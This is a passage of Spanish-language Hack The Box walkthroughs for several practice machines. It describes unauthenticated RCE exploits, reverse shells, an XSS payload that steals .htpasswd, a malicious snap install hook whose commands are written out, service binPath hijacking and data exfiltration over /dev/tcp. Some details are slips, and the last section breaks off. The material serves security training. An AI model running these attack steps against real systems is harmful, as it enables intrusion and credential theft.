Al enumerar el contenedor Docker, vemos que las variables de entorno establecidas contienen credenciales que se pueden usar para acceder al host mediante SSH. La enumeración posterior a la explotación revela que la versión del kernel que se ejecuta en el host es vulnerable a GameOverlay
, que se aprovecha para obtener privilegios de root
.
Realizaremos un reconocimiento con nmap para ver los puertos que están expuestos en la máquina Analytics. Este resultado lo almacenaremos en un archivo llamado allPorts
.
Lanzaremos scripts de reconocimiento sobre los puertos encontrados y lo exportaremos en formato oN y oX para posteriormente trabajar con ellos. En el resultado, comprobamos que se encuentra expuesta una página web de Nginx.
Transformaremos el archivo generado targetedXML
para transformar el XML en un archivo HTML para posteriormente montar un servidor web y visualizarlo.
Añadiremos en nuestro archivo /etc/hosts
la siguiente entrada.
Realizaremos una enumeración de directorios y páginas del sitio web, no logramos obtener ninguna información a través de la herramienta de dirsearch
.
Al realizar una enumeración de subdominios en el sitio web, nos encontramos con un subdominio llamado data
.
Añadiremos esta nueva entrada en nuestro archivo /etc/hosts
.
Accederemos a http://data.metabase.htb y verificamos que se trata de un panel de incio de sesión de Metabase
.
Buscando posibles vulnerabilidades sobre Metabase
, nos encontramos con el siguiente CVE-2023-38646
.
Las versiones de código abierto de Metabase anteriores a la 0.46.6.1 y Metabase Enterprise anteriores a la 1.46.6.1 permiten a los atacantes ejecutar comandos arbitrarios en el servidor, en el nivel de privilegio del servidor. No se requiere autenticación para la explotación. Las otras versiones corregidas son 0.45.4.1, 1.45.4.1, 0.44.7.1, 1.44.7.1, 0.43.7.2 y 1.43.7.2.
Nos encontramos con el siguiente repositorio con un PoC del exploit. Nos lo descargaremos el repositorio en nuestro equipo y visualizaremos el funcionamiento del exploit main.py
.
En el PoC se nos requiere el setup-token
del Metabase
, el cual podemos localizar a través del siguiente comando.
Por otro lado, nos pondremos en escucha por un puerto para recibir la Reverse Shell.
Ejecutaremos el exploit para enviarnos una Reverse Shell hacia nuestro equipo.
Verificaremos que hemos ganado acceso al sistema, pero al parecer se trata de un Docker y no nos encontramos aún en el equipo principal.
Al revisar las variables que tenía dispone el usuario, nos encontramos con unas credenciales del acceso a Metabase
del usuario metalytics
.
Probaremos de acceder mediante SSH a través del usuario metalytics
para verificar si podemos acceder con las credenciales obtenidas. Logramos el acceso y visualizar la flag de user.txt.
Revisamos la versión del Kernel en busca de vulnerabilidades a través de la versión de Kernel.
Nos encontramos con el siguiente repositorio en el cual nos mencionan que la versión que dispone el equipo probablemente sea vulnerable a GameOver(lay)
.
Realizamosla explotación y nos convertimos en usuario root
pudiendo visualizar la flag de root.txt.
Armageddon
es una máquina de dificultad fácil. Un sitio web Drupal explotable permite el acceso al host remoto. La enumeración de la estructura de archivos Drupal revela credenciales que nos permiten conectarnos al servidor MySQL y, eventualmente, extraer el hash que es reutilizable para un usuario del sistema. Usando estas credenciales, podemos conectarnos a la máquina remota a través de SSH. Este usuario puede instalar aplicaciones usando el administrador de paquetes snap
. La escalada de privilegios es posible cargando e instalando en el host una aplicación maliciosa usando Snapcraft.
Realizaremos un reconocimiento con nmap para ver los puertos que están expuestos en la máquina Armageddon. Este resultado lo almacenaremos en un archivo llamado allPorts
.
Lanzaremos scripts de reconocimiento sobre los puertos encontrados y lo exportaremos en formato oN y oX para posteriormente trabajar con ellos. En el resultado, comprobamos que se encuentran abierta una página web de Apache
.
Transformaremos el archivo generado targetedXML
para transformar el XML en un archivo HTML para posteriormente montar un servidor web y visualizarlo.
Realizaremos una comprobación de las tecnologías que son utilizadas en el sitio web.
Revisaremos las cabeceras de la página web, en el resultado obtenido comprobamos la cabecera X-Generator
la cual nos indica sobre la existencia del CMS Drupal 7
.
Revisaremos si el archivo CHANGELOG.txt
se encuentra público en la página web. Comprobamos que hemos logrado obtener la versión exacta de Drupal
, lo cual nos facilita intentar buscar vulnerabilidades para esa versión.
Revisaremos posibles vulnerabilidades de la versión de Drupal 7
. En los resultados obtenidos, nos encontramos de una vulnerabilidad llamada Drupalgeddon2
la cual nos permite obtener un Remote Code Execution (RCE)
.
Esta vulnerabilidad está reportada a través del siguiente CVE-2018-7600
.
Drupal anterior a 7.58, 8.x anterior a 8.3.9, 8.4.x anterior a 8.4.6 y 8.5.x anterior a 8.5.1 permite a atacantes remotos ejecutar código arbitrario debido a un problema que afecta a múltiples subsistemas con configuraciones de módulos predeterminadas o comunes.
Buscando por Internet, nos encontramos con el siguiente repositorio de GitHub en el cual nos proporcionan un PoC a través de un script realizado en Ruby
.
Realizaremos la explotación de la vulnerabilidad para lograr obtener una shell
en el sistema vulnerable. Comprobamos que finalmente obtenemos acceso a la máquina y podemos ejecutar comandos arbitrarios.
Dado que nos encontramos en la shell que nos proporciona el script
, trataremos de obtener una consola bash
. Para ello, el método que realizaremos es realizar una petición con cURL
a nuestro script en Bash
para lograr obtener la Reverse Shell.
Verificamos que el binario de cURL
se encuentra instalado en el equipo objetivo.
Desde otra terminal nos pondremos en escucha con nc
para recibir la Reverse Shell.
En nuestro equipo loca, deberemos de disponer del siguiente script en Bash
que es el que utilizaremos para obtener la Reverse Shell. El script lo compartiremos mediante un servidor web.
Realizaremos desde el equipo víctima la petición con cURL
al script que estamos compartiendo para que sea ejecutado a través de una bash
.
Verificamos que logramos obtener acceso al sistema correctamente. El problema es que el usuario actual que disponemos apache
, no tiene una shell como sh
o bash
, por lo tanto la consola que disponemos es bastante limitada.
Enumeraremos el directorio /var/www/html/sites/default
en el cual nos encontraremos con un archivo de configuración settings.php
el cual contiene las credenciales de acceso al MySQL
de la base de datos que está utilizando Drupal
.
Dado que no disponemos de una bash
para poder acceder al MySQL
y realizar las consultas, haremos la ejecución del comando en la misma sintaxis del comando.
A continuación, revisaremos nos conectaremos con el usuario drupaluser
a la base de datos drupal
para enumerar las tablas presentes. En el resultado obtenido, verificamos que entre todas las tablas que se nos muestra, aparece la tabla users
que quizás contenga credenciales.
Realizaremos una consulta para obtener todos los valores presentes en la tabla users
. Comprobamos que hemos obtenido las credenciales en formato hash del usuario brucetherealadmin
.
Intentaremos crackear el hash a través de hashcat
. Verificamos que finalmente, logramos obtener las credenciales en texto plano del usuario mencionado.
Revisando los usuarios que disponían de bash
en el equipo, nos encontramos al usuario encontrado en la base de datos de drupal
. Con lo cual, quizás podamos iniciar sesión con ese usuario.
Verificamos si podemos acceder al SSH
del equipo con las credenciales del usuario brucetherealadmin
. Comprobamos el acceso y de la flag user.txt.
Revisando de si el usuario actual disponía de algún permiso de sudoers
, nos encontramos que podía ejecutar como sudo
el binario de snap
para instalar paquetes.
Primero, definimos el comando que queremos ejecutar al instalar el paquete Snap. En este caso, usamos COMMAND=id
para comprobar si la ejecución se realiza con privilegios elevados. Luego, creamos un directorio temporal con mktemp -d
y nos movemos a él para evitar conflictos con otros archivos.
Dentro de este directorio, generamos la estructura necesaria para el paquete Snap con mkdir -p meta/hooks
, ya que Snap permite ejecutar scripts en ciertas etapas de la instalación mediante estos hooks. Luego, creamos el script malicioso con printf '#!/bin/sh\n%s; false' "$COMMAND" >meta/hooks/install
, donde definimos que el script se ejecutará con sh
, insertamos el comando id
y agregamos false
al final para evitar que Snap elimine el paquete después de ejecutarlo.
Una vez creado el script, le damos permisos de ejecución con chmod +x meta/hooks/install
para asegurarnos de que pueda correr sin restricciones. Finalmente, usamos fpm
para empaquetar todo en un archivo Snap ejecutable con fpm -n xxxx -s dir -t snap -a all meta
. Esto genera el paquete xxxx_1.0_all.snap
, que podremos instalar con privilegios de root para comprobar si tenemos acceso al sistema con permisos elevados.
Después de generar el paquete Snap malicioso, lo transferimos a la máquina objetivo utilizando scp
. Este comando permite copiar archivos de manera segura entre sistemas a través de SSH.
En el equipo víctima, verificaremos que el archivo se ha transferido correctamente.
Si el comando muestra el uid=0(root) gid=0(root)
, significa que el hook del paquete Snap se ejecutó como root
. Esto confirma que tenemos la capacidad de ejecutar comandos con privilegios elevados.
En este caso, modificamos el comando que se ejecutará en el hook de instalación del paquete Snap para que establezca una reverse shell hacia nuestra máquina atacante en la IP 10.10.16.3
y el puerto 443
.
El procedimiento sigue siendo el mismo: creamos la estructura del paquete, insertamos el script en meta/hooks/install
, le damos permisos de ejecución y generamos el paquete con fpm
.
Transferiremos este nuevo archivo Snap malicioso al equipo víctima.
Desde una terminal nueva, nos pondremos en escucha con nc
para recibir la conexión.
Ejecutaremos el Snap malicioso como sudo
, si todo funciona bien deberíamos recibir una Reverse Shell.
Verificamos que finalmente hemos logrado obtener acceso como root
y podemos comprobar la flag root.txt.
Realizaremos un reconocimiento con Nmap
para ver los puertos que están expuestos en la máquina Alert
. Este resultado lo almacenaremos en un archivo llamado allPorts
.
Lanzaremos scripts de reconocimiento sobre los puertos encontrados y lo exportaremos en formato oN
y oX
para posteriormente trabajar con ellos. Verificamos que al parecer se trata de una máquina Ubuntu que dispone de una página de Apache
y servicioSSH
.
Transformaremos el archivo generado targetedXML
para transformar el XML
en un archivo HTML
para posteriormente montar un servidor web y visualizarlo.
Por otro lado, también comprobamos que disponemos de una página para contactar con los administradores del sitio web.
Crearemos el siguiente archivo example.md
para subirlo al sitio web y visualizar el comportamiento de este.
Subiremos este archivo example.md
en el sitio web y le daremos a la opción de View Markdown.
Comprobaremos que ha interpretado el archivo de Markdown correctamente
Realizaremos fuzzing en el sitio web y logramos encontrar un nuevo subdominio llamado statistics
.
Añadiremos esta nueva entrada en el archivo /etc/passwd
.
Realizaremos una enumeración de directorios y archivos PHP en el sitio web, y nos encontramos con la siguientes páginas.
En el siguiente artículo nos habla de los archivos .htpasswd
. En la enumeración inicial, descubrimos que el sitio web se encontraba en un Apache
. En el sitio web de statistics.alert.htb
nos requería de credenciales de acceso.
Lo cual nos hace pensar que si lograramos llegar a visualizar el archivo .htpasswd
, lograríamos obtener las contraseñas en formato hash.
Crearemos un archivo payload.md
que contenga el siguiente contenido JavaScript. El objetivo de este script, es realizar un Local File Inclusion para visualizar el contenido .htpasswd
de la página web statistics.alert.htb
y otorgarnos el resultado en nuestro servidor web que montaremos posteriormente.
El archivo lo subiremos en el visualizador Markdown del sitio web.
Al subir el archivo, nos da la opción de Share Markdown
el cual nos porporciona un enlace.
Probaremos de acceder al apartado de Contact Us
para validar si enviando este enlace a los administradores del sitio web, algún usuario llegase a ejecutarlo.
Desde nuestro servidor Web, verificaremos que hemos recibido el contenido del archivo .htpasswd
.
Descodificaremos el contenido obtenido a través de Cyberchef
y logramos tener el archivo en texto plano. Comprobamos que nos aparece el usuario albert
y su contraseña en formato hash.
Comprobaremos el tipo de hash del cual se trata, nos muestra que es un hash de Apache MD5
. Miraremos en hashcat
cual es el modo del tipo de hash y al ejecutar la herramienta logramos crackear el hash y obtener la contraseña en texto plano.
Nos conectaremos mediante el servicio SSH
con el usuario albert
y verificamos que logramos acceder y visualizar la flag de user.txt.
Revisando los puertos internos que se encuentran en el equipo, verificamos que el puerto 8080 se encuentra abierto, lo cual parece ser que haya un servicio HTTP en dicho puerto.
Revisando los procesos que se encuentran en ejecución, visualizamos que el usuario root
tiene en ejecución este proceso que se ejecuta en la ruta /opt/website-monitor
.
Realizaremos SSH Port Forwarding sobre el puerto 8080 hacía nuestro equipo local.
Accederemos desde nuestro navegador al puerto 8080 y comprobamos que se trata de la siguiente página web que no nos proporciona ningún tipo de información relevante.
Accediendo a la ruta que encontramos que el usuario root
tenía en ejecución esta página web, nos encontramos en el directorio config
disponemos de permisos para leer y ejecutar archivos en esta ruta, dado que el usuario actual, dispone del grupo management
.
Crearemos en este directorio que disponemos de acceso, un archivo PHP que nos establezca una Reverse Shell hacía nuestro equipo. Verificaremos que hemos logrado crear el archivo gzzcoo.php
en la ruta /opt/website-monitor/config
.
Desde nuestra terminal de atacante, nos pondremos en escucha por el puerto especificado en el payload creado.
Realizaremos una petición por GET a través de la herramienta cURL
sobre 127.0.0.1:8080/config/gzzcoo.php
Dado que el servicio se ejecuta con los permisos del usuario root
, al haber subido ese archivo PHP en la ruta donde teníamos acceso de escritura, su ejecución sería realizada por el mismo usuario root
. Esto nos permitió que el usuario root
ejecutara el payload de la Reverse Shell que subimos, dándonos así control total del sistema.
Comprobamos que podemos visualizar la flag de root.txt.
Return
es una máquina Windows de dificultad fácil que cuenta con un panel de administración de impresoras de red que almacena credenciales LDAP. Estas credenciales se pueden capturar ingresando un servidor LDAP malicioso que permite obtener acceso al servidor a través del servicio WinRM. Se descubrió que el usuario formaba parte de un grupo de privilegios que luego se explotó para obtener acceso al sistema.
Realizaremos un reconocimiento con nmap para ver los puertos que están expuestos en la máquina Return. Este resultado lo almacenaremos en un archivo llamado allPorts
.
Lanzaremos scripts de reconocimiento sobre los puertos encontrados y lo exportaremos en formato oN y oX para posteriormente trabajar con ellos.
Transformaremos el archivo generado targetedXML
para transformar el XML en un archivo HTML para posteriormente montar un servidor web y visualizarlo.
En el apartado de Settings
, logramos visualizar el siguiente contenido. Una dirección de servidor, puerto, usuario y unas credenciales en *****.
Probamos de verificar si estas credenciales estaban en formato password
en el código, nos encontramos que es una cadena en formato text
, por lo tanto no podemos realizar nada al respecto.
También verificamos que podemos modificar parte de las opciones que nos proporcionan. Por lo tanto, lo que probaremos es de ponernos en escucha por el puerto 389 que es el que está especificado en la impresora.
Volveremos al panel de adminsitración, y cambiaremos el Server Address
por nuestra dirección IP, actualizaremos la configuración.
Verificamos que recibimos la autenticación del usuario svc-printer
con su contraseña. Al modificar el Server Address
por el nuestro, la impresora ha realizado la autenticación en nuestro equipo, mostrándonos las credenciales en texto plano al no haber un LDAP por atrás que valide estas credenciales.
Verificaremos si estas credenciales son válidas para el usuario. Verificamos que logramos comprobar y también conectarnos al equipo mediante evil-winrm
y visualizar la flag de user.txt.
Comprobaremos los permisos y grupos que dispone el usuario svc-printer
. En el resultado obtenido, logramos verificar que este usuario tiene el privilegio de SeBackupPrivilege
habilitado.
Probaremos de hacer un dump de la SAM para extraer el hash NTLM del usuario Administrator y verificar si nos sirve para ser usuarios administradores locales del equipo.
Exportaremos la SAM
y SYSTEM
y nos lo descargaremos en nuestro equipo local.
A través de la herramienta de samdump2
, extraemos los hashes NTLM de la SAM
.
Verificaremos si el hash NTLM del usuario Administrator
es válido. En este caso, no nos sirve el hash encontrado.
Revisando nuevamente los grupos a los cuales forma parte este usuario. Nos fijamos que forma parte del grupo Server Operators
.
El grupo Server Operators
es un grupo de seguridad integrado en los entornos de Windows Server. A los miembros de este grupo se les otorgan privilegios administrativos específicos que les permiten realizar tareas relacionadas con el servidor sin tener derechos administrativos completos. Este grupo está diseñado principalmente para la administración delegada del servidor. Privilegios clave de los operadores de servidor
Los miembros del grupo Operadores de servidor tienen los siguientes privilegios:
Iniciar y detener servicios:
Pueden iniciar, detener y pausar servicios en el servidor, lo que es crucial para el mantenimiento y la resolución de problemas del servidor.
Administrar recursos compartidos:
Los operadores de servidor pueden crear, modificar y eliminar carpetas compartidas y administrar recursos compartidos de impresoras, lo que les permite administrar recursos compartidos de manera eficaz.
Operaciones de copia de seguridad y restauración:
Los miembros pueden realizar copias de seguridad de archivos y restaurar archivos a partir de copias de seguridad, lo que facilita la administración de los procesos de recuperación de datos.
Iniciar sesión localmente:
Los miembros tienen la capacidad de iniciar sesión localmente en el servidor, lo que les permite administrar directamente el servidor a través de su consola.
Administrar usuarios y grupos locales:
Pueden agregar o eliminar usuarios de grupos locales y administrar cuentas locales, lo que es importante para las tareas de administración de usuarios.
Hemos conseguido más información de lo que trata esta escalada de privilegios desde el siguiente blog donde se detalla la explotación.
Desde el equipo procederemos a revisar los servicios que se encuentran en ejecución.
Después de revisar los servicios que se encuentran en ejecución, el siguiente paso será subir al equipo víctima el binario nc.exe
para posteriormente aprovechar de que formamos parte de este grupo, para modificar el binPath
del servicio e indicarle que la ruta del servicio es la ejecución de una Reverse Shell utilizando el binario subido de nc.exe
.
Verificamos que logramos modificar correctamente el binPath
del servicio VMTools
, también podemos utilizar el servicio browser
.
En una terminal nos pondremos en escucha por el puerto especificado en el punto anterior.
Volveremos a la terminal del equipo víctima y procederemos a parar y volver a iniciar el servicio el cual hemos modificado el binPath
para que ejecute la Reverse Shell.
Verificamos que al volver a iniciar el servicio, hemos logrado obtener conexión a través de la Reverse Shell, en este caso, el usuario que arranca el servicio es el usuario NT AUTHORITY\SYSTEM
, lo cual tenemos control total sobre el equipo.
Logramos visualizar la flag de root.txt.
Antique
es una máquina Linux sencilla que cuenta con una impresora de red que revela credenciales a través de una cadena SNMP que permite iniciar sesión en el servicio Telnet. Se puede obtener acceso mediante la explotación de una característica de la impresora. El servicio de administración CUPS se ejecuta localmente. Este servicio se puede explotar aún más para obtener acceso raíz en el servidor.
Realizaremos un reconocimiento con nmap para ver los puertos que están expuestos en la máquina Antique. Este resultado lo almacenaremos en un archivo llamado allPorts
.
Lanzaremos scripts de reconocimiento sobre los puertos encontrados y lo exportaremos en formato oN y oX para posteriormente trabajar con ellos. En el resultado, comprobamos que solamente se encuentra abierto el puerto de telnet
(23).
Transformaremos el archivo generado targetedXML
para transformar el XML en un archivo HTML para posteriormente montar un servidor web y visualizarlo.
Realizaremos un reconocimiento básico sobre el telnet
. Al acceder al sistema, comprobamos que nos aparece un mensaje de HP JetDirect
y nos pide credenciales. Parece ser el acceso a una impresora de red.
Dado que en el escaneo inicial con Nmap
no logramos encontrar más información sobre los puertos TCP, probamos de verificar si existían puertos UDP abiertos en el sistema.
Logramos verificar la existencia del puerto 161
que pertenece a snmp
.
Durante la evaluación, realizamos una caminata (walk) por el árbol MIB del dispositivo objetivo utilizando SNMP para recopilar información detallada.
Este comando accede al nodo raíz (OID 1) del árbol de MIB del dispositivo, lo que nos permite obtener toda la información disponible sobre él. La respuesta obtenida indica que el dispositivo está etiquetado como HTB Printer y proporciona un conjunto de bits asociada a una OID específica (enterprises.11.2.3.9.1.1.13.0
), lo que puede ser útil para identificar configuraciones o parámetros adicionales del dispositivo.
Además, al explorar la OID enterprises.11.2.3.9.1.2.1.0
, se nos indicó que no hay más variables disponibles en este nodo del árbol, lo que implica que hemos llegado al final de la información accesible a través de esta ruta en particular.
Este proceso de enumeración nos permitió obtener detalles clave del dispositivo y explorar posibles vectores de ataque asociados a su configuración SNMP.
Por otro lado, en el siguiente blog nos especifican como podemos hackear impresoras HP JetDirects desde SNMP para lograr obtener la contraseña de la impresora.
Al realizar la ejecución del comando que se nos indicaba en el blog, logramos obtener el mismo resultado anterior.
Este resultado s eencuentra en hexadecimal, al convertirlo en ASCII, logramos obtener la contraseña de la impresora de red.
Probamos de acceder nuevamente a telnet
e ingresamos las credenciales obtenidas. Verificamos que logramos acceder a la impresora correctamente.
Por otro lado, verificamos que dispone de un comando exec
que al parecer permite ejecutar comandos. Al ejecutar un comando exec id
verificamos que logramos ejecutarlo sin problemas.
Por lo tanto, probarmeos de obtener una Reverse Shell. Para ello, nos pondremos en escucha por un puerto.
Desde la interfaz de telnet
de la impresora, ejecutaremos el siguiente comando.
Verificamos que logramos obtener acceso al sistema y visualizar la flag de user.txt.
Revisamos si en el equipo dispone de algún puerto interno abierto. Verificamos que hay un puerto 161 abierto el cual investigaremos.
Realizaremos Port Forwarding a través de chisel
para obtener acceso a ese puerto desde nuestro equipo local.
Desde nuestra Kali, nos crearemos un servidor con chisel
.
Por otro lado, deberemos disponer del binario de chisel
para Linux y compartiremos este binario a través de un servidor web.
Desde el equipo comprometido, nos descargaremos el chisel
, le daremos permisos de ejecución y lo configuraremos para que actúe como cliente y nos realice el Port Forwarding del puerto que nos interesa.
Desde nuestor navegador, accederemos a http://127.0.0.1:631 y verificaremos que se trata del panel de Administración de CUPS. Además logramos verificar la versión 1.6.1.
Revisando posibles vulnerabilidades de esta versión de CUPS
, nos encontramos con el siguiente CVE-2012-5519
.
CUPS v1.4.4, cuando se ejecuta en ciertas distribuciones de Linux como Debian GNU/Linux, almacena la la clave de la interfaz web del administrador en /var/run/cups/certs/0 con ciertos permisos, lo que permite a los usuarios locales en el grupo lpadmin leer o escribir archivos arbitrarios como root mediante el aprovechamiento de la interfaz web.
Nos descargaremos el siguiente repositorio de GitHub el cual nos proporcionan un exploit.
Nos pasaremos el exploit al equipo comrpometido y lo ejecutaremos. Al ejecutarlo verificamos que podemos leer archivos arbitrarios, entre los cuales podemos visualizar la flag de root.txt directamente.
También verificamos que podemos visualizar el archivo /etc/passwd
el cual nos aparece la contraseña del usuarioroot
cifrada. Intentamos descifrarla pero no obtuvimos éxito en el resultado.
Revisando posibles vulnerabilidades del equipo, nos encontramos que el equipo era vulnerable a CVE-2021-403
.
Al ejecutar el exploit, verificamos que logramos obtener una bash como usuarioroot
.
Realizaremos un reconocimiento con nmap para ver los puertos que están expuestos en la máquina BoardLigth. Este resultado lo almacenaremos en un archivo llamado allPorts
.
Lanzaremos scripts de reconocimiento sobre los puertos encontrados y lo exportaremos en formato oN y oX para posteriormente trabajar con ellos. En el resultado, comprobamos que se encuentra expuesta una página web de Apache y el servicio SSH.
Transformaremos el archivo generado targetedXML
para transformar el XML en un archivo HTML para posteriormente montar un servidor web y visualizarlo.
Añadiremos en nuestro archivo /etc/hosts
la siguiente entrada.
Realizaremos una enumeración básica de las tecnologías que utiliza el sitio web a través de la herramienta de whatweb
.
Realizaremos una enumeración de directorios y páginas, no logramos visualizar algún contenido que nos pueda servir de utilidad.
Tratando de realizar una enumeración de subdominios de la página web, nos encontramos con el subdominio crm
.
Añadiremos esta nueva entrada en nuestro archivo /etc/hosts
.
Revisamos por Internet las credenciales que utiliza Dolibarr por defecto, nos encontramos que utiliza las credenciales admin/admin
.
Al tratar de acceder, verificamos que hemos logrado acceder como usuario admin
.
Revisando por Internet sobre posibles vulnerabilidades de esta versión de Dolibarr, nos encontramos con el siguiente CVE-2023-30253
.
En la versiones anteriores a Dolibarr v17.0.1 se permite la ejecución remota de código por un usuario autenticado a través de una manipulación de mayúsculas, por ejemplo: "
Por otro lado, también nos encontramos con el siguiente repositorio de GitHub con el exploit para abusar de la vulnerabilidad. Nos descargaremos este repositorio en nuestro equipo.
En el propio repositorio de GitHub, se nos muestra un PoC de cómo aprovecharnos de este exploit.
En una terminal, nos pondremos en escucha para recibir la Reverse Shell.
Ejecutaremos el exploit.py
indicándole la URL donde se encuentra Dolibarr, las credenciales de acceso que en este caso eran las de por defecto y, nuestra dirección IP y puerto donde nos encontramos en escucha.
Verificamos que ganamos acceso al equipo con el usuario www-data
.
Nos encontramos actualmente con un usuario con privilegios limitados, la idea sería convertirnos en root
o lograr pivotar a otro usuario que quizás tenga más permisos. Revisando el /etc/passwd
verificamos que solamente los usuarios root
y larissa
disponen de bash
.
Revisando los directorios en los que nos encontrábamos, logramos visualizar archivos de configuración.
En el archivo conf.php
logramos visualizar las credenciales de acceso al MySQL.
Probamos de autenticarnos con estas credenciales y el usuariolarissa
para validar si se reutilizan, y lograos acceder y comprobar la flag de user.txt.
Revisando permisos de SUID
nos encontramos que el binario de enlightment
disponía de SUID
.
Revisando posibles vulnerabilidades de utilizar ese SUID para escalar privilegios, nos encontramos con el siguiente repositorio de GitHub.
Ejecutamos el exploit.sh
, verificamos que nos encontramos como usuario root
y logramos visualizar la flag de root.txt.
Bashed
es una máquina bastante sencilla que se centra principalmente en realizar pruebas de fuzzing y localizar archivos importantes. Como el acceso básico al crontab está restringido,
Realizaremos un reconocimiento con nmap para ver los puertos que están expuestos en la máquina Bashed. Este resultado lo almacenaremos en un archivo llamado allPorts
.
Lanzaremos scripts de reconocimiento sobre los puertos encontrados y lo exportaremos en formato oN y oX para posteriormente trabajar con ellos. En el resultado, comprobamos que se encuentran abierta una página web de Apache
.
Transformaremos el archivo generado targetedXML
para transformar el XML en un archivo HTML para posteriormente montar un servidor web y visualizarlo.
Realizaremos una comprobación de las tecnologías que son utilizadas en el sitio web.
Al acceder al apartado en donde mencionaban phpbash
, comprobamos que se trata de la herramienta phpbash
.
Realizaremos fuzzing en busca de directorios en el sitio web. Nos encontramos con un directorio algo inusual. Revisaremos el directorio llamado /dev/
.
Accediendo a este nuevo directorio encontrado, podemos observar que hay dos archivos PHP
. Accederemos al archivo nombrado phpbash.php
.
Al acceder al archivo, verificamos que se trata de la herramienta de phpbash
y podemos ejecutar comandos en el equipo víctima.
Por lo tanto, nos otorgaremos una Reverse Shell para tener una consola más interactiva. Para ello, nos pondremos en escucha para recibir la conexión.
Desde la herramienta de phpbash
enviaremos la Reverse Shell hacía nuestro equipo atacante.
Verificaremos que hemos logrado obtener acceso al equipo y podemos visualizar la flag de user.txt.
Revisando los permisos que dispone el usuario www-data
, nos encontramos que puede ejecutar como sudo
cualquier comando como usuario scriptmanager
.
Revisando los directorios de la raíz /
nos encontamos que a través de este usuario actual somos los propietarios de un directorio llamado scripts
.
Accediendo al directorio, nos encontramos con un archivo llamado test.py
que abre el archivo llamado test.txt
y escribe en él el texto testing 123!
.
También comprobamos que el propietario del archivo test.py
es el usuario que disponemos actualmente, y el archivo que genera el script es el usuarioroot
.
Por lo cual, podemos deducir que debe existir una tarea programada (cron) que ejecute el usuario root
sobre el script mencionado. Por lo tanto, teniendo permisos de editar este archivo, podríamos modificarlo para que realizara las acciones que deseemos.
Revisaremos primeramente que el binario de /bin/bash
no se encuentre con permisos de SUID.
Editaremos el archivo mencionado y le indicaremos que ejecute las siguientes instrucciones. Lo que realizará es dar permisos de SUID
al binario.
Revisaremos que se han asignado correctamente los permisos indicados.
Abusaremos de estos permisos y nos convertiremos en el propietario del binario y comprobamos que somos actualmente el usuario root
. Visualizamos la flag de root.txt.
Bizness
es una máquina Linux sencilla que muestra un punto de apoyo de ejecución remota de código (RCE) y autenticación previa de Apache OFBiz, clasificado como [CVE-2023-49070](https://nvd.nist.gov/vuln/detail/CVE-2023-49070)
. El exploit se aprovecha para obtener un shell en la máquina, donde la enumeración de la configuración de OFBiz revela una contraseña con hash en la base de datos Derby del servicio. A través de la investigación y una pequeña revisión del código, el hash se transforma en un formato más común que puede ser descifrado por herramientas estándar de la industria. La contraseña obtenida se utiliza para iniciar sesión en la máquina como usuario root.
Realizaremos un reconocimiento con nmap para ver los puertos que están expuestos en la máquina Bizness. Este resultado lo almacenaremos en un archivo llamado allPorts
.
Lanzaremos scripts de reconocimiento sobre los puertos encontrados y lo exportaremos en formato oN y oX para posteriormente trabajar con ellos. En el resultado, comprobamos que se encuentran abierta una página web de Nginx
y el servicio de SSH
habilitado.
Transformaremos el archivo generado targetedXML
para transformar el XML en un archivo HTML para posteriormente montar un servidor web y visualizarlo.
Añadiremos la siguiente entrada en nuestro archivo /etc/hosts
.
Realizaremos una comprobación de las tecnologías que utiliza el sitio web.
/control/ y /control/login: Aparecieron como rutas válidas, lo que podría indicarnos un panel de administración o alguna forma de autenticación.
/solr/admin/ y /solr/admin/file/: Estas rutas también regresaron respuestas, lo que sugiere que Solr está presente en el servidor. A través de estas rutas, podríamos tener la posibilidad de explorar configuraciones o archivos sensibles, aunque al principio no parecían ofrecer algo directamente explotable.
Al acceder a https://bizness.htb/solr/admin/ se nos redirigió a la siguiente página web en la cual se nos muestra un panel de autenticación.
En el footer de la página, se menciona la versión de Apache OFBinz
, la cual se trata de la versióon 18.12.
Al revisar por Internet posibles vulnerabilidades sobre esa versión, nos encontramos con el siguiente CVE-2023-49070
.
RCE previo a la autenticación en Apache Ofbiz 18.12.09. Se debe a que XML-RPC ya no se mantiene y sigue estando presente. Este problema afecta a Apache OFBiz: anterior a 18.12.10. Se recomienda a los usuarios que actualicen a la versión 18.12.10
Nos descargaremos el siguiente repositorio el cual nos proporcionan un exploit para aprovecharnos de la vulnerabilidad.
El exploit nos indica que debemos de descargarnos ysoserial
a través del siguiente comando.
Revisaremos la sintaxis del exploit, el cual permite ejecutar comandos remotos o proporcionarnos una Reverse Shell directamente.
Al intentar ejecutar el exploit, se nos menciona que debemos utilizar OpenJDK-11
.
Nos lo descargaremos el .deb
a través de la página oficial de Oracle.
Configuramos nuestro equipo para que utilize la versión JDK-11
.
Realizaremos una prueba básica para verificar que podemos ejecutar comandos. Para ello, nos montaremos un servidor web.
Ejecutaremos el exploit para que ejecute el comando cURL
hacía nuestro servidor web.
Verificamos en nuestro servidor web que se ha recibido la petición GET
desde el equipo víctima. Con lo cual, queda confirmada la ejecución de comandos.
El siguiente paso será obtener una Reverse Shell, para ello nos pondremos en escucha connc
.
Ejecutaremos el exploit pora proporcionarnos directamente la Reverse Shell.
Verificamos que hemos ganado acceso al sistema como el usuario ofbiz
y podemos ver el contenido de la flag user.txt.
Al obtener la reverse shell, mejoramos la calidad de la shell con los siguientes pasos para obtener una TTY interactiva.
Después de enumerar el sistema con el usuario ofbiz
, no logramos obtener ninguna información interesante.
Con lo cual, nos llevó a pensar que quizás exista una base de datos para el Apache OFBiz
. Nos encontramos que OFBiz
utiliza Derby
como base de datos.
Enumerando el directorio de /opt/ofbiz/framework/security/config
, nos encontramos con un archivo nombrado security.properties
el cual contenías las propiedades de seguridad de la configuración de Apache OFBiz
.
Entre el resultado obtenido, verificamos que se está empleando encriptación de SHA
.
Realizamos una búsqueda recursiva a través del comando find
para localizar algún archivo/directorio relacionado con la base de datos de Apache OFBiz
llamada Derby
.
Accedemos a /opt/ofbiz/runtime/data/derby
y logramos encontrar la estructura de la base de datos que hace uso Apache OFBiz
.
Para trabajar mejor con la información, lo que realizaremos es comprimir todo el directorio de derby
para disponerlo de manera local en nuestro equipo.
Nos pondremos en escucha con nc
para recibir el comprimido.
Enviaremos la información a través de /dev/tcp
.
Una vez recibido el archivo en nuestro equipo local, lo descomprimiremos para analizarlo posteriormente.
Nos encontramos con los archivos que utiliza Apache OFBiz
para la base de datos Derby
. A través del siguiente blog, se nos menciona como lograr conectarnos.
Mediante la herramienta ij
, logramos conectarnos a la base de datos que disponemos localmente en el directorio mencionado. Visualizamos los SCHEMAS
y el que parece interesarnos más es el de OFBIZ
.
Enumeramos las tablas de la base de datos OFBIZ
